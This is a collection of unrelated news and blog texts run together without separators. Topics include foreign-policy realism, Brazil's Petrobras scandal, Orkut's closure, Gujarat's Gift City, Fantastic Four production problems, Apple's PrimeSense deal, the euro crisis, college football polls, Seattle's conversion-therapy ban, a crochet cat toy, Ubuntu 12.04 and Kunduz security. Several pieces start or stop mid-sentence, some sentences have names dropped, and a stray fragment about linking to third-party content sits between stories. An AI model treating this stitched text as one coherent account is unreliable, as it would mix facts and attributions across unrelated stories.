§ Progressive realists, more than most realists on the right (not to mention neoconservatives and many liberal interventionists), understand that respecting and strengthening international law serves American interests. One benefit of respecting international law is the valuable self-restraint it can bring. The invasion of Iraq in 2003—deemed unlawful by no less an authority than UN Secretary General Kofi Annan—turned out to be the biggest US foreign-policy blunder of the past half-century. A second benefit of respecting international law is the fostering of such respect among other nations. Certainly America’s casual disregard for international law has had the opposite effect. The 1999 intervention of NATO in Kosovo without the UN Security Council’s authorization, which culminated in Kosovo’s 2008 secession from Serbia, was used by Russia to justify its 2008 incursion into Georgia and may have helped provoke it.
§ Progressive realists understand that technological evolution will only strengthen the logic behind building a more robust system of international law and global governance. Technologically created challenges, ranging from climate change to bioweapons proliferation to the catastrophic potential of cyberwarfare, make it in the mutual interest of nations to negotiate symmetrical, enforceable restraints on their own behavior.
There is much more to say about progressive realism, but fundamentally it comes down to this: First, do no harm; second, respect international law; and third, nurture global governance. By these criteria, we haven’t had a progressive realist in the White House for the past eight years, we won’t have one for the next four, and we wouldn’t have had one even if the election had turned out differently. Progressive realists—assuming there are enough of us to matter—have some organizing and infrastructure building to do.Warrants were also issued for the arrest of Mr. Skornicki and an Odebrecht executive.
The new developments come at a delicate time for Ms. Rousseff, whose popularity has declined sharply since her last election. While she has strongly denied having any knowledge or involvement in the scheme, she has been hit hard by the fallout. She has also come under sharp criticism as the country’s once-booming economy veered into a nasty downturn.
Yet in recent months, she had won a bit of a respite. Calls for her impeachment and the widespread protests accompanying them have faded somewhat, and the frightening spread of the Zika virus has given her a new opportunity to display leadership.
Part of the shift had to do with the growing public rancor toward Eduardo Cunha, the leader of Brazil’s lower house, who had spearheaded impeachment hearings against the president even though he faces serious corruption allegations himself.
But Monday’s developments signal that the Petrobras investigation may be getting closer to Ms. Roussef and Mr. da Silva.
As of Monday afternoon, Mr. Santana and Ms. Moura had not been apprehended. They were reported to be in the Dominican Republic, where they were working on the re-election campaign of President Danilo Medina.Google is saying goodbye to Orkut. Wait, what's Orkut?
Orkut is a social network Google launched in 2004, the same year as Facebook (FB). Needless to say, Orkut hasn't exactly kept up.
The service wasn't a complete flop -- it had strong followings in India and Brazil, and claimed around 100 million users as of 2011. But Google (GOOGL) said Orkut's growth had been outpaced by fellow Google services, including YouTube, Blogger and Google+, and that it was time to pull the plug.
"We'll be focusing our energy and resources on making these other social platforms as amazing as possible for everyone who uses them," Google's Orkut team said in a blog post.
The service will go dark on Sept. 30, Google said. Users can export their photos and data until September 2016.
Orkut was dogged by the problem of people creating fake user profiles to deliver spam on the network. It also generated privacy concerns, especially after it was hit with a virus in 2010 that collected users' personal information, and it faced accusations in Brazil that it was a haven for pedophiles.Election day means Gujarat is closed for business—except in Gift City.
Officially known as Gujarat Information Finance Tech City (hence, Gift), construction equipment is everywhere and dust is in the air. The development, which currently consists of two vacant towers surrounded by immaculate roads and earth dug up to make way for more, is 30 km outside Ahmedabad and 5 km from the nearby capital city of Gandhinagar.
This is the type of development that Narendra Modi supporters hope will be a microcosm for the rest of India should he become prime minister. The project, which was launched in 2007, will bring as many as 600,000 jobs to Gujarat, the government promises. Here’s a (very stylized) artist rendition of what the area will look look, according to the government brochure (pdf):
Hidden off the paved highways is Rantapur village and its lone polling station serving 1,016 constituents.
Land acquisition for development projects is a sticky situation across India. In addition to zoning restrictions on agricultural land, the fractured ownership of small land plots makes buying large tracts for projects like Gift City difficult. Still, Gift has amassed nearly four square kilometers.
Yet the residents at this polling station all seem pleased with the development. Two years after construction began, the village received continuous water and electricity. Three of the four residents I asked voted for the BJP, Modi’s party. The one who didn’t chose the Congress Party, saying the incumbents would do a better job keeping prices down. All approved of Gift City, which they praised for bringing jobs like security guards and construction. Even the Congress supporter—23-year-old Surendra Singh—had to agree.
“No one knew about our village before. Now people know our village and they come here,” he said.
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.Josh Trank is living his worst nightmare right now as details about his insane behavior on the set of Fantastic Four start to come to light. This is some major Hollywood behind-the-scenes drama!
Telling actors when to blink and breath? Hiding in a tent while shooting? Defacing photos of the family who owned the house he rented and allegedly wrecked? These are just a few of many things that happened during the production of the box-office and critical disaster.
Remember that tweet that Trank sent out after the movie was released saying that he had “a fantastic version” that we would “probably never see”? Well, just before Fantastic Four hit theaters, Trank sent an email to some members of the cast and crew to say he was proud of the film, and told them it was "better than 99 percent of the comic-book movies ever made."
Whoa! One of the cast members even responded to him with, “I don’t think so.” That cast member was right. As you know, the movie turned out to be worse than 99 percent of the comic book movies ever made.
After Trank sent out the tweet dissing his own movie, a lot of people who worked on it have come out to tell what allegedly happened on the set of the film. THR has the details thanks to multiple sources who were around when the madness unfolded.
Here are several points of interest:
“Multiple sources associated with the project say the director did not produce material that would have opened the way to a salvageable film.”
Several people within the production say he resisted help from the studio. ”He holed up in a tent and cut himself off from everybody. He built a black tent around his monitor. He was extremely withdrawn." Between setups, "he would go to his trailer and he wouldn't interact with anybody."
“Several sources say Fox stood by Trank as he pushed a gloomy tone on young stars Miles Teller, Michael B. Jordan, Kate Mara and Jamie Bell.”
"During takes, he would be telling [castmembers] when to blink and when to breathe. He kept pushing them to make the performance as flat as possible."
“Trank and his dogs allegedly caused more than $100,000 worth of damage to a rented house in Baton Rouge that he and his wife occupied while the film was shooting there.”
“Sources say now that after landlord Martin Padial moved to evict Trank, photographs of the landlord's family that were in the house were defaced.” He made a complaint to the local sheriff’s department and even filed a civil suit.
A crew member on the film said the movie was "ill-conceived, made for the wrong reasons and there was no vision behind the property. Say what you will about Marvel but they have a vision."
The studio was "afraid of losing the rights so they pressed forward and didn't surround [Trank] with help or fire him. They buried their heads in the sand."
There was some talk of firing Trank before the movie started shooting, but Fox put their complete faith in him “because he had directed the studio's 2012 found-footage hero movie Chronicle.”
Based on that, “insiders say Fox executives thought they had found an ‘in-house director,’ a young talent who could become another J.J. Abrams.” Well, that dream is dead!
The problems eventually escalated to the point of no return. An inside source said, "How do you ask someone to take over half of a movie shot by someone else? You either hire somebody desperate for work or you [start over], write off pretty much the whole budget and lose the cast."
The article goes on to talk about the absolute chaos of the studio's last-minute scramble to come up with an ending for the film, shooting Teller against a green screen and using doubles for the other characters because none of the other actors were available when they shot it. Apparently Trank was there for the re-shoot of the ending, "but was neutralized by a committee."
One central player involved in the development of this movie had this to say:
"To me, it is a classic indictment of the entire system. Give Josh Trank a $20 million movie. Groom him. But they don't make those movies anymore… Nobody should escape scrutiny on this one. Everyone should take a good look in the mirror, myself included. Even I probably did the movie for the wrong reasons."
This is going to haunt not only Trank but Fox as well for a very long time. I don’t see how the studio can even think of making another Fantastic Four film at this point. This property is tainted, and it’s no good to them anymore. It’s obviously not going to make them any money. At this point, they are losing money on it!
Fox just needs to give the rights back to Marvel, and let them give the Fantastic Four the movie they deserve.Once again Apple looks to score from a Microsoft dropped ball
Israeli gestural control technology developer PrimeSense has been purchased by Apple Inc. for $345M, according to Israeli tech site Calcalist. The news follows rumors of the pending deal dating back to mid July when the price tag was speculated to be some $60M less than the current reported amount. PrimeSense denied the rumors at the time (they must have thought everyone was asking them about the pricing).
Breaking up is hard to do
The exit is a major win for the company whose situation a year and half ago looked dismal to say the least. At that time, the Israeli startup superstar’s main benefactor Microsoft announced that it would not be renewing its contract with the company whose technology sat at the heart of Microsoft’s Kinect and Xbox gaming products. The announcement not to renew led to mass layoffs by the company as well as some serious soul searching. In an interview with Geektime, VP of product marketing for PrimeSense, Tal Dagan, sounded like someone who just found out their marriage had ended and were trying to put a positive spin on it:
“Our product has revolutionized the user experience. We are pleased that Microsoft has continued its commitment to the field, even though she has chosen a new partner and solution in place of our product. So, it’s not PrimeSense, but it shows that the three-dimensional sensor revolution is still alive and well.”
However, despite those who marked the loss of Microsoft as the beginning of the end for PrimeSense, Dagan’s indefatigable optimism turned out to be more than just the first of the five stages of grief:
“We have the most advanced three-dimensional technology. A few months ago we showed our latest generation of tech, the Capri, whose mission it is to penetrate more and more consumer devices. It’s very small, you can hold it in your hand, and you can operate it in any product that exists today; from TVs to smartphones. In addition, it get’s amazing performance, up to 3 times that of the average quality today.”
Smart and single for smart TV
Whether Dagan knew it at the time or not, the Capri’s potential applications for smart TV might have made it a very attractive shopping item for the normally frustratingly frugal Apple who’s been teasing speculators with the prospect of a revolutionary iTV for the better part of a year now.
Say what you want about the power of optimism but it would appear that the PrimeSense/Microsoft split was a major blessing in disguise for both parties. PrimeSense, whose final tally of investment pre purchase sat at $85M, will be offering its investors more than double on their return, not to mention whatever stock attachments might be coming along with the deal from the most valuable company in the world.
From Apple’s perspective, not since the iPhone has the snob of Silicon Valley had a chance to revolutionize and reinvent an entirely new medium for media consumption off of a technology that originated in Microsoft’s lap. Something tells me that for Apple, that in-and-of-itself is priceless.
Update: In a recent followup to our article, TheNextWeb contacted PrimeSense and received this official comment:
“PrimeSense is the leading 3D technology in the market. We are focused on building a prosperous company while bringing 3D sensing and Natural Interaction to the mass market in a variety of markets such as interactive living room and mobile devices. We do not comment on what any of our partners, customers or potential customers are doing and we do not relate to rumors or re-cycled rumors.”Paris Saint-Germain defender Thiago Silva hopes to emulate his idol Paolo Maldini by playing until he is 40.
At 32, Silva is already a Serie A champion and winner of four Ligue 1 titles with PSG.
But the Brazil international has no intention of stopping there, instead seeking to match his former team-mate Maldini. The AC Milan and Italy great retired in 2009.
"I hope to play up to 40," Silva told Canal Football Club.
"One of my idols at AC Milan, Paolo Maldini, has managed to do it. I had the chance to play with him [in] the last six months of his career.
"I saw how he was investing. I will follow his path and my body will tell me if I am able."
Silva is contracted to PSG until June 2017 and the defender has been linked with a Milan return.NEW DELHI:
MP
said on Sunday that he was not opposed to states having their own flags, as long as they observed a system of checks and balances.
"There should be clear rules that flag of state cannot be substitute of national flag and it should be smaller and fly lower," Tharoor said at a press conference in Bengaluru.
The Congress was recently embroiled in a controversy when
chief minister
raised the demand for a separate flag for the state in the face of mounting pressure from pro-Kannada activists. While the BJP has objected to this demand, Siddaramaiah rebutted by enquiring if there is any provision in the Constitution that prohibits the state from having its own flag.
The chief minister has also constituted a committee to submit a report to the state government on the possibility of designing a separate flag for the state.
Amid this heated debate, Tharoor has endorsed separate flag for states, even though the Congress high command has expressed reservations on the issue of separate flag.
"So as long as there are set rules for it I don't see any issue in states having their flags," Tharoor added.
When asked about
's plea for a court-monitored CBI-led SIT probe into the death of his wife
, Tharoor slammed the BJP leader for attempting to seek "public attention".
"No one in this country can be more anxious than me to see the conclusion of this issue. I will cooperate with authorities and not with obstreperous and publicity seeking attempts by others," the Congress MP said.
Swamy has sought a time-bound probe in the case, alleging that there has been constant attempt to block the investigation into Pushkar's death. Tharoor's step son Shiv Menon, who is Pushkar's son from a previous marriage, has moved the
opposing Swamy's plea for an SIT probe.
Sunanda Pushkar was found dead under mysterious circumstances in the suite of a five-star hotel in south Delhi on the night of January 17, 2014.The saga of the euro debt crisis continues. The heads of state and government leaders of all 27 EU members arrived in the Belgian capital, Brussels, early Sunday for an initial session. After that, the 17-member euro group of countries that share the common currency will have their own meeting in the afternoon.
Between the two meetings, French President Nicolas Sarkozy said that "broad agreement" was reached to ramp up the firepower of the eurozone rescue fund, European Financial Stability Facility (EFSF).
Sarkozy, appearing alongside German Chancellor Angela Merkel, said "a quite broad agreement is taking shape on the reinforcement of the EFSF," the 440-billion-euro ($611 billion) fund set up to defend the euro single currency.
"I cannot let you say that things have failed," Sarkozy told reporters. "Capitals are facing an unprecedented financial crisis... We are aware of the responsibility on our shoulders."
"Some of the things we are fighting originated decades ago," Merkel added. "Wednesday will not be the last step we will have to take."
Berlusconi needs to get Italy's finances in order - and pronto
The pressure on European leaders is enormous to finally get a grip on the euro crisis. If Europe's leaders fail, the currency union could collapse, and a banking crisis could follow that would dwarf the Lehman Brothers fiasco, which triggered the global 2008 recession.
The information seeping out of the inner circles suggests that the differences among the participants are waning in the face of the scenario mentioned above.
Italy in the spotlight
In the round of 27, the agenda is focusing on the precarious situation of European banks. By now, everybody realizes that Greece is hopelessly over-indebted. Its creditors will most likely have to write off at least half of what is owed them.
Officially, this is all supposed to happen voluntarily, but a lot of persuasion is necessary because there is nothing voluntary about it.
Writing off debt means losses for banks, especially when other, larger countries are threatened.
Capital injections of more than 100 billion euros are meant to keep banks afloat and protect them from market turbulences through the middle of next year. Particular attention is being paid to Italy with its gigantic mountain of debt, totaling some 120 percent of gross domestic product.
Italian Prime Minister Silvio Berlusconi held talks on Saturday evening and Sunday morning with EU representatives about the finances of his country. He is expected to pursue a more rigorous consolidation of government finances – something the EU has seen little of in the past.
'Leverage' - the magic word
While the recapitalization of banks is an EU-wide effort, the EFSF bailout fund is a task for the 17 eurozone members. The rescue fund will be too small if countries like Spain or Italy begin having serious problems.
Germany is strictly opposed to expanding the fund beyond the 440 billion euros already agreed on. To get around this ceiling, the financial experts have come up with the so-called 'leverage mechanism.'
France, meanwhile, has shelved its idea to give the EFSF a banking license, which would allow it unlimited access to central bank money. Germany and other countries were concerned that permitting countries to refinance themselves by printing money would lead to uncontrolled inflation.
The options
What's left are two options. One entails making the EFSF a kind of limited liability insurance fund, which would guarantee a portion of the face value of government bonds. This way, the volume of the fund could be tripled or quadrupled.
France and Germany have not seen eye to eye on the rescue fund
The other possibility is creating a separate fund in which the International Monetary Fund would also play a role, thus internationalizing the risks onto the financial shoulders of other countries, like China. A combination of both models is also feasible. Critics, however, are concerned that the risk to taxpayers would climb as well; something the German government denies.
Merkel wants changes to EU treaties
German Chancellor Angela Merkel, as recently as Sunday morning, has suggested changing EU treaties to avoid the recurrence of a debt crisis. She wants to see more EU-wide coordination in finance, budget and economic policies.
In Merkel's opinion, the EU needs better tools to intervene when a country does not have its financial household in order.
But Merkel has also warned against having overly optimistic expectations. Decisions will not be made until Wednesday, she said.
A second summit became necessary – not only due to Franco-German differences about the EFSF – but also because the chancellor did not have a comprehensive mandate from the budget committee of the German parliament.
In an upcoming interview in the German news magazine Der Spiegel, the head of the eurozone group, Luxembourg's Jean-Claude Juncker, criticized what he called the "disastrous external presentation" of the European Union and the "slow organizational pace of Berlin."
Author: Christoph Hasselbach / gb
Editor: Ben KnightThis video presentation addresses the impact of the Federal government’s energy policy. It exposes how a handful of multinational corporations and state-owned national oil companies from foreign countries plan to exploit our energy resources. It reveals how heavy oil pipeline projects—along with the tanker traffic they trigger—promise economic, social, cultural and environmental harm.
You can follow @robynallan on twitter for updates.
There is still time to choose a different approach—one that is not only in the public interest and respects First Nations’ rights, but also promises sound resource development and promotes a healthy economy for BC, Alberta and the rest of Canada.
Part 1: The Missing Pieces - 1:36
Part 2: Who are they? - 4:30
Part 3: Exploitation is not Development - 1:58
Part 4: A Resource Strategy for Canada - 7:17
Part 5: More Pipelines, More Supertankers - 4:28
Part 6: Top 10 Economic Reasons To Say "No" - 2:05
Credits: Title, The Missing Pieces, Who are they?, Exploitation is not Development, More Pipelines More Supertankers, Top 10 Economic Reasons - Adam Bognar; Higher Prices Slide - Dan Phelps; Harper Promises Slide; Harper Turns Back Slide; Michigan Risk SlideCurious to see where your favorite team started in the polls and track it as the season goes?
Look no further. For every level of college football (FBS, FCS, Division II and Division III), below is a list of every poll from the 2017 season. We'll update these charts each time a new poll hits the press.
Division II AFCA Coaches' Poll Week No. 1 team Highest riser Preseason Northwest Missouri State N/A Week 2 Northwest Missouri State Minnesota State (+8) Week 3 Northwest Missouri State Delta State (+7) Week 4 Northwest Missouri State Arkansas Tech (+5) Week 5 Northwest Missouri State Slippery Rock (+6) Week 6 Northwest Missouri State Winona State (+9) Week 7 Northwest Missouri State West Alabama (+5)
Division III weekly polls Week No. 1 Team Highest Riser Week 3 Mary Hardin-Baylor N/A Week 4 Mary Hardin-Baylor St. Thomas (+4) Week 5 Mary Hardin-Baylor Illinois Wesleyan (+7) Week 6 Mary Hardin-Baylor Wartburg (+5)
WEEK 7 FBS POLL REACTION
We knew the storm would hit. It was just a matter of when.
When the dust settled, Week 7 was one of the craziest we’ve seen in college football in a long, long time.
MORE: Full AP Top 25 | College football stats
Where to begin? Two new teams – No. 4 TCU and No. 5 Wisconsin – enter the top five after Clemson’s loss to Syracuse and Washington’s loss to Arizona State. No. 2 Penn State and No. 3 Georgia were the beneficiaries of the Tigers’ upset.
Nobody saw the Tigers' fall coming. Alabama has been ranked first all season, but Clemson looked like a No. 1-caliber team. Its defense was otherworldly, and while its offense wasn’t as explosive as it was in the Deshaun Watson era, it got the job done.
But starting quarterback Kelly Bryant got hurt on Friday night, and Clemson struggled. Give it up for Syracuse quarterback Eric Dungey, too – he hung 27 points on a Tiger defense that made Lamar Jackson look like just another guy and suffocated other attacks.
Clemson is now ranked seventh. Disappointing, sure. But no College Football Playoff champion has ever gone undefeated. The loss happened early enough for the Tigers to beef up the resume in November and December. Clemson is still the highest-ranked ACC school.
Still, had someone told you going into the season that the Tigers would have one loss after Week 7 – and it would be to Syracuse – they would have thought you were crazy. As it turned out, Friday night set the stage for even more wildness through the weekend.
MORE: AP Top 25 behind the numbers
This year’s Apple Cup had the potential to feature two undefeated teams in Washington and Washington State. The Huskies and the Cougars looked dynamite coming into Week 7. Wazzu notched huge back-to-back wins against USC and Oregon, while Washington hadn’t really been challenged.
This weekend, the two schools lost and combined to score 10 points. Washington is now ranked 12th; Washington State is 15th. No. 11 USC is the highest-ranked Pac-12 team. Its Playoff hopes aren’t toast, but the outlook is bleak.
Meanwhile, the SEC has to be loving these rankings. Alabama appears to be immune to the upset bug, as it smothered Arkansas while peering down at the chaos happening around the country. Same with Georgia, coached by Nick Saban understudy Kirby Smart.
Given how the Crimson Tide and the Bulldogs have played thus far, it’s hard to see them losing before their likely SEC Championship matchup. Then again, we said the same thing about Clemson. And Oklahoma. And Washington. There may not be a conceivable loss on Alabama or Georgia’s schedule. Based on what we’ve seen, that may not matter. The SEC has a great chance to send two schools to the Playoff, but this thing is far from over.
Is there a chance we get two SEC teams and two Big Ten teams in the CFP? It may seem far-fetched, but look at the rankings. Five of the top six schools are in those conferences; TCU is the lone exception. If the Horned Frogs slip up, we could see an all Big Ten-SEC top five. Penn State looks good. So does Wisconsin. Ohio State lost early – and if you’re going to lose, it’s in your best interest to do so in September. We stopped talking about the Buckeyes for a while after they sputtered against Oklahoma.
It’s time to start talking about them again.
Here’s how crazy this week was: No. 8 Miami (Fla.) moved up three spots with a one-point win over Georgia Tech. No. 13 Notre Dame moved up three spots and didn't play. ND will likely crack the top 10 if it can handle USC at home in Week 8. The Fighting Irish’s lone loss, Georgia, is looking better and better. If you’re looking at teams 10 through 15, Notre Dame might inspire the most confidence to make a Playoff run. We don’t know what’s going on in the Pac-12. No. 14 Virginia Tech is solid, but the Hokies don’t have a particularly high ceiling.
Don’t be surprised if Notre Dame makes a run. The running game is awesome, and the defense is good. The quarterback spot is a question mark, sure. But the Irish have athletes at that spot, despite their lack of pocket precision. They’re playmakers. Keep an eye on them.
WEEK 6 FBS POLL REACTION
Just when you think you know who the elite teams are, college football surprises you.
It's just a matter of when. Turned out, Week 6 was full of those surprises.
MORE: Full AP Top 25
Iowa State turned the College Football Playoff picture on its head by upsetting No. 3 Oklahoma 38-31 in |
than sites that merely link to content hosted by third parties.SEATTLE - The City of Seattle is one step closer to banning so-called treatments to change a gay person's sexual orientation or gender identity to straight.
A Seattle City Council committee unanimously passed legislation Tuesday to ban the controversial practice for minors. It’s a sign it likely will pass at full council next Monday.
The legislation has support from the mayor and LGBT advocates.
“Let’s call conversion therapy what it really is: the religious practice of bigotry. It’s torture,” Sara Mae said testifying in front of councilmembers. “As a civilized society we have banned the circumcision of females, the rape of women, the murder of women … all those types of things. This should be banned because this is a castration of the mind. It’s a murder of the mind.”
Kevin Amos sat on the front row, shaking his head at points as Mae spoke. He disagrees.
“If parent’s rights to train their children in religious views are taken away – I guarantee you – every one of your seats in here are over with and you’ll be out,” he told councilmembers.
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He later told KING 5 it boils down to a rights issue.
“I believe that we’re talking about parents who have a right – a civil right to basically rear their children,” Amos said. “You’re trying to basically penalize doctors and therapists in this city when you really know the issue is you’re really trying to penalize the parents.”
Councilmember Lorena Gonzalez is sponsor of the legislation. It would add a new chapter to the City’s existing human rights code, prohibiting licensed mental health providers from practicing conversion therapy on minor children by making it a civil violation penalized by a fee of up to $1,000.
“I’m really proud of the fact that this is my first bill as a councilmember that I get to sponsor and shepherd through,” Gonzalez said in committee. “It gives me a great amount of personal pride to sit here and say one of my first bills is a civil rights bill … a bill that will really champion the rights and protect the rights of LGBTQ youth in our city.”
Ann Lazaroff, who has a Master’s Degree in psychology and has served on faculty at Antioch University Seattle's School of Applied Psychology, Counseling and Family Therapy, told councilmembers conversion therapy shouldn’t be practiced here.
“This idea that a child needs to be changed from who they innately are is ludicrous,” Lazaroff said. “It messes very much with their normal development as human beings but also their normal sexual development which all children go through.”
Monisha Harrell, of Equal Rights Washington, said there’s a difference between minors and adults when it comes to choice.
“If adults choose to do this – that’s a decision that they can make but for minors they don’t have the ability to consent and so they don’t have the ability to say that this abuse is not appropriate,” Harrell said.
Danni Askini testified in chambers too. She runs a transgendered civil rights organization now and said she was subjected to a type of conversion therapy when she was 12- or 13-years-old. She was coming out as transgendered and had a school counselor recommend it to her parents, she said.
“I had very accepting parents who got bad advice and they changed their mind,” Askini said. “A lot of it is interrogating the way you present in the world…instructing your parents on how to prevent you from playing with toys of the opposite gender.”
Askini said the one-on-one meetings caused psychological distress. She was in southern Maine at the time and went to those meetings for 10 months.
“I’ve talked to a lot of other people who have been subjected to very similar efforts here in Washington State to change the way who people love or who they are,” she said.
A city report says there's a lack of comprehensive data on the subject. It cites Dr. Caitlin Ryan, a “national leader on social work practice and LGBT health,” and estimates nearly 1-in-3 LGBT youth may experience some form of conversion therapy upon coming out.
“However, Ryan’s estimates do not indicate who is conducting the practice or where it is occurring most frequently,” the report from Councilmember Gonzalez reads.
California, Illinois, New Jersey, Oregon and Vermont have all banned conversion therapy for minors as well as the cities of Washington, D.C.; Miami Beach, Fla.; and Cincinnati, Ohio.
“If this in fact this is a practice that has no scientific basis … no one should be going through it,” Councilmember Mike O’Brien said.
Copyright 2016 KINGEasy To Crochet Cat Toy – Bare with me a moment while I channel my inner crazy cat lady.
A couple of weeks ago we had the great fortune to be able to give Noelle a kitten for an (early) birthday gift. She’s been asking for a cat for the past few years but since my husband has a mild allergy to cats he’s always told her no (notice I said that “he” said no). After being subjected to drawing after drawing of our family with our old dead cat still drawn in it, Michael had had enough and gave in to his daughter’s dream to have a cat.
We did a lot of research and found out that while there is no completely hypoallergenic cats there are some breeds that carry less of the protein that aggravates allergies. We hunted high and low and finally found a breeder of Balinese cats on Vancouver Island and she just happened to have one kitten left. We went on a road trip and totally surprised Noelle. When she finally saw the kitten and we told her that it’s her’s to take home she totally didn’t believe us. The poor girl had been told for so long that we would never be able to have a cat that she thought we were putting her on. I’m sure it wasn’t until we were home with the little fur ball that it started sinking in that this really was her cat.
Little Milo Fluffy Pasta has been home with us now for almost 2 weeks and he’s so great. I had forgotten how much I enjoyed having a pet. He’s absolutely adorable and highly entertaining. Kittens have so much energy and they play non-stop so I thought it would be fun to make Milo some cat toys. I created this pattern (quite accidentally I must admit because I was going for something completely different) but I love how it turned out and so does Milo.
Materials:
Medium weight yarn (I used Red Heart)
Crochet hook (5.00mm H hook)
Toilet paper tube (I used 1/2 a roll for the small cat toy and a full roll for the large toy)
Bell
Needle and thread
Darning Needle to weave in ends
Scissors Instructions: Ch = chain, sl st = slip stitch, dc = double crochet (All U.S.) (Ch) 20, join with (sl st) to form ring (keeping tension firm but not tight – you want both ends to be a little tighter so they hug around the toilet paper tube). Make sure to not to twist your stitches.
(Ch) 2 in first chain and then (dc) in each remaining stitch in round. (Sl st) in last stitch in round to join. Repeat for 7 rounds for 1/2 toilet paper roll size toy or 11 rounds for full toilet paper roll. Finish off last round with 1 (sl st) in each stitch and join. Ch 30 then make 2 (dc) in the 3rd chain from the hook. (If you’d like a longer curlicue than make the chain longer). Make 3 (dc) in each chain until you get back to the start of the chain. (Sl st) to join. Fasten off and weave in ends. Sew bell on end of curlicue. Fit over toilet paper roll. Click here if you have any trouble knowing or remembering which stitches these are. If you’re looking for more fun crochet projects check out this great book: Crochet One-Skein Wonders®: 101 Projects from Crocheters around the WorldIt was exactly seven years ago that the very first version of Ubuntu Linux--dubbed “Warty Warthog”--was released, kicking off a long line of increasingly popular versions of the free and open source operating system.
"Ubuntu is a new Linux distribution that brings together the extraordinary breadth of Debian with a fast and easy install, regular releases (every six months), a tight selection of excellent packages installed by default and a commitment to security updates with 18 months of security and technical support for every release,” read the original announcement on Oct. 20, 2004.
Fast forward to today, and Canonical is wasting no time moving from last week's release of Ubuntu 11.10 “Oneiric Ocelot” into planning for the next version, also known as “Precise Pangolin.”
'A Carrier-Grade Platform'
“It’s going to be a beautiful, memorable release,” wrote Canonical founder Mark Shuttleworth in a blog post on Thursday in which he began to outline the planning process for version 12.04, which is due in April.
Perhaps most notable about Precise Pangolin is that it will be Ubuntu's fourth Long Term Support (LTS) release, with a full three years of support.
“As such it needs to carry on, and entrench, the reputation of the LTS as a carrier-grade platform for mission-critical server deployments and large scale desktop deployments,” Shuttleworth wrote.
Accordingly, the new operating system will introduce minimal new infrastructure or platform-visible changes. The planning cycle for the release will also allow extra time for the resolution of outstanding issues, he explained.
Accessibility for those with special interaction needs will be “first class,” Shuttleworth added. In the interests of stability, meanwhile, the development team will give special attention to supporting newer hardware over a longer period of time.
'Polish, Performance, and Predictability'
On desktops, “the nail-biting transitions to Unity and GNOME 3 are behind us, so this cycle is an opportunity to put perfection front and center,” Shuttleworth wrote.
Development will focus on refining the desktop interface and ensuring that the Ubuntu desktop is easily managed in large deployments, including strong security and smooth upgrades from Ubuntu 10.04 LTS.
Precise Pangolin will also offer better support for multiple monitors, Shuttleworth said.
While Canonical would still like to tweak the user experience further, most such changes will be put on hold so that this Long Term Support release can focus on “polish, performance, and predictability,” he added.
ARM Support
On servers, meanwhile, Ubuntu 12.04 will be the first LTS release to support the ARM architecture on selected ARM SoC parts, Shuttleworth pointed out, noting the increasing prioritization of computational density over single-thread performance in such contexts.
Ubuntu is also now the No. 1 operating system for cloud computing, Shuttleworth asserted, and version 12.04 will focus heavily on making it easy to bootstrap and manage services across public, private, and hybrid clouds.
More specific plans for Precise Pangolin will be made at the next Ubuntu Developer Summit, which is scheduled to begin on Oct. 31.
A Stable Alternative
After all the tempest and turmoil in recent months about Unity and GNOME 3, in particular, businesses will surely be especially glad to see a release that focuses squarely on continuous improvement and refinement rather than more ground-breaking change.
If you've held off on trying or upgrading to version 11.04 or 11.10, keep in mind that Ubuntu 12.04 LTS could be a smart and stable alternative.KUNDUZ, Afghanistan (Reuters) - Since U.S. forces began stepping up air strikes against the Taliban, Kunduz shopkeeper Najibullah no longer fears another insurgent takeover of the northern Afghan city. But he does fear robbery or kidnap by militia gangs.
Afghan police officers keep watch at their forward base on the outskirts of Kunduz province, Afghanistan November 26, 2017. REUTERS/Nasir Wakif
With Afghan forces improving and on the offensive, U.S. commanders have more freedom to attack the Taliban and insurgents no longer threaten any major urban centers.
Although Taliban-controlled areas begin within a 10-minute drive of the city, Kunduz - a strategic hub that fell twice in the past two years - is largely calm. But there is a long way to go to build confidence in daily security.
“In the past people were afraid that the Taliban would come but no-one talks about that now,” said Najibullah, who like many Afghans, uses only one name.
“Now we have internal problems,” he said, leaning over the counter of his shop in the city center and talking softly to avoid being overheard. “There are gunmen that do anything they want. There are people in this city, if they know you have money they’ll come to your shop and rob you in broad daylight.”
Outside the city, where the Taliban still hold sway, the risk of being caught between helicopter gunships and the insurgents or swept up in a clearing operation means life is also more difficult for villagers on the front line.
Last month, locals say 16 people were killed by U.S. helicopters in a night raid near the villages of Qatl-e Am and Gharow Qushlaq in Chahardara district, an area largely controlled by the Taliban. A U.S. investigation concluded there was no evidence any civilians were killed.
“Since the Americans announced their new strategy and signed the new agreement, the situation has been getting worse,” said Atiqullah, a villager who said he was about three kilometers away when the raid took place.
NOT SAFE
The shift in perceptions on the ground suggests ordinary Afghans are seeing the fresh strategy is hitting the insurgents. But their new fears underline how much more is needed to build trust in the Western-backed government.
“I’m a businessman but I can’t go anywhere without a gun,” said Jamal Nasir Aymaq, who owns a number of bakeries in the city. “Our businessmen and rich people have already escaped Kunduz and children are not safe.”
Kidnapping and robbery are rife and there is little confidence of justice from a government many see as deeply implicated in abuses by rogue militia “commanders” who operate with impunity.
“We all know peace cannot be achieved by force alone, it needs development and the economy,” said Kunduz police chief Abdul Hameed Hameedi. “Security is much better than last year but we haven’t got what people are expecting yet.”
Kunduz Governor Asadullah Omarkhil dismissed talk of any official collusion in kidnapping as “baseless”, but while many people fear the Taliban, many also feel they are more honest and efficient than city officials.
“If there were a real government in the center of Kunduz, people wouldn’t be going to the Taliban for legal decisions,” said Mawlawi Khosh Mohammad Nasratyar, a member of the Kunduz provincial council. “Now, even people from the center of Kunduz go to the Taliban to settle legal cases.”
OPTIMISM
The wariness among many Afghans contrasts with optimism among Western officials, who say the new approach is starting to turn a stalemate with the Taliban around.
“The air strikes have made all the difference,” said one Western diplomat in Kabul. “When you go to (the NATO-led Resolute Support mission) headquarters, there’s a bit of a buzz about the place that wasn’t there before and a feeling they’re back on the front foot.”
So far in 2017, U.S. forces have dropped three times the quantity of bombs as last year and special forces units have been in regular action with their Afghan counterparts.
Hundreds of Taliban fighters and many senior leaders have been killed, including Mullah Abdul Salam, mastermind of the assault that saw the Taliban flag raised over Kunduz in 2015, the first time the insurgents had taken a major town.
Similar successes have been seen in other towns including Tarin Kot in the central province of Uruzgan, which the Taliban briefly overran last year, or Lashkar Gah in Helmand, which they have also come close to taking.
“Two years ago, there was a fear of Taliban attack on the city every minute and we couldn’t come into the office,” said Kunduz provincial council secretary Fawzia Jawad Yaftali. “But now everything is different, the shops are open and I’m sitting in my office without any fear,” she said.
